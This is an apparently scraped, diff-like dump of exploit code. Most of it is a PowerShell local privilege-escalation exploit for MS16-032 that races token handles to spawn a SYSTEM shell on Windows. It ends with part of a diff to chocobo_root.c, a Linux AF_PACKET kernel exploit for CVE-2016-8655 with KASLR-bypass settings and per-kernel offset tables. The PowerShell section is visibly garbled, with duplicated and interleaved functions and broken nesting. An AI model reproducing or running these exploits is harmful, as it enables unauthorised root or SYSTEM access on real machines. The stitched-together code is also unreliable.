[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
.DESCRIPTION
|
||||
Author: Ruben Boonen (@FuzzySec)
|
||||
Blog: http://www.fuzzysecurity.com/
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: PowerShell v2+
|
||||
Optional Dependencies: None
|
||||
|
||||
.EXAMPLE
|
||||
C:\PS> Invoke-MS16-032
|
||||
#>
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
"@
|
||||
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -ErrorAction SilentlyContinue -Verbose).FullName
|
||||
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, "C:\Windows\System32\cmd.exe", "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($hThread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $hThread is a bad thread, exiting.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, exiting.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, exiting.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
# Null $SysTokenHandle
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, exiting.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
$ms16032 = @"
|
||||
__ __ ___ ___ ___ ___ ___ ___
|
||||
| V | _|_ | | _|___| |_ |_ |
|
||||
| |_ |_| |_| . |___| | |_ | _|
|
||||
|_|_|_|___|_____|___| |___|___|___|
|
||||
|
||||
[by b33f -> @FuzzySec]
|
||||
"@
|
||||
|
||||
$ms16032
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handle"
|
||||
$hThread = Get-ThreadHandle
|
||||
|
||||
# If no thread handle is captured, the box is patched
|
||||
if ($hThread -eq 0) {
|
||||
echo "[!] No valid thread handle was captured, exiting!`n"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, using thread handle: $hThread"
|
||||
} echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
# If we fail a check in Get-SystemToken, exit
|
||||
if ($SysTokenHandle -eq 0) {
|
||||
Return
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($hThread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
|
||||
$path1 = $env:windir
|
||||
$path1 = "$path1\System32\cmd.exe"
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $path1, "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
#---
|
||||
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
|
||||
#---
|
||||
# Missing this check used to cause the exploit to fail sometimes.
|
||||
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
|
||||
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
|
||||
# reliable now!
|
||||
#---
|
||||
if (!$CallResult) {
|
||||
continue
|
||||
}
|
||||
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
echo "$end"
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Trying thread handle: $Thread"
|
||||
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($Thread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $Thread is a bad thread, moving on.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
# Create array for Threads & TID's
|
||||
$ThreadArray = @()
|
||||
$TidArray = @()
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handles.."
|
||||
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
|
||||
for ($i=0; $i -lt 1; $i++) {
|
||||
$hThread = Get-ThreadHandle
|
||||
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
||||
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
|
||||
if ($TidArray -notcontains $hThreadID) {
|
||||
$TidArray += $hThreadID
|
||||
if ($hThread -ne 0) {
|
||||
$ThreadArray += $hThread # This is what we need!
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($($ThreadArray.length) -eq 0) {
|
||||
echo "[!] No valid thread handles were captured, exiting!"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
||||
echo "`n[?] Thread handle list:"
|
||||
$ThreadArray
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
foreach ($Thread in $ThreadArray){
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($Thread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
#---
|
||||
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
|
||||
#---
|
||||
# Missing this check used to cause the exploit to fail sometimes.
|
||||
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
|
||||
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
|
||||
# reliable now!
|
||||
#---
|
||||
if (!$CallResult) {
|
||||
continue
|
||||
}
|
||||
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
}
|
||||
exit
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
#}
|
||||
|
||||
Binary file not shown.
@@ -1,7 +1,7 @@
|
||||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
@@ -11,7 +11,7 @@ user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread -Wall
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
@@ -75,7 +75,7 @@ Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
@@ -85,13 +85,13 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/if_packet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
@@ -102,12 +102,6 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
@@ -116,9 +110,18 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SYSTEM_CHECKS 1
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
# define KERNEL_BASE_MIN 0xffffffff00000000ul
|
||||
# define KERNEL_BASE_MAX 0xffffffffff000000ul
|
||||
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
|
||||
# define ENABLE_KASLR_BYPASS_SYSLOG 1
|
||||
# define ENABLE_KASLR_BYPASS_MINCORE 1
|
||||
#endif
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
@@ -131,6 +134,7 @@ const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
// kernel target struct
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
@@ -139,6 +143,7 @@ struct kernel_info {
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
// Targets
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
@@ -170,6 +175,16 @@ struct kernel_info kernels[] = {
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
|
||||
{ "4.4.0-21-lowlatency #37-Ubuntu", 0x88960, 0xe48e80, 0x28c3a0, 0x6fae0 },
|
||||
{ "4.4.0-22-lowlatency #40-Ubuntu", 0x889c0, 0xe48f00, 0x28c570, 0x6fae0 },
|
||||
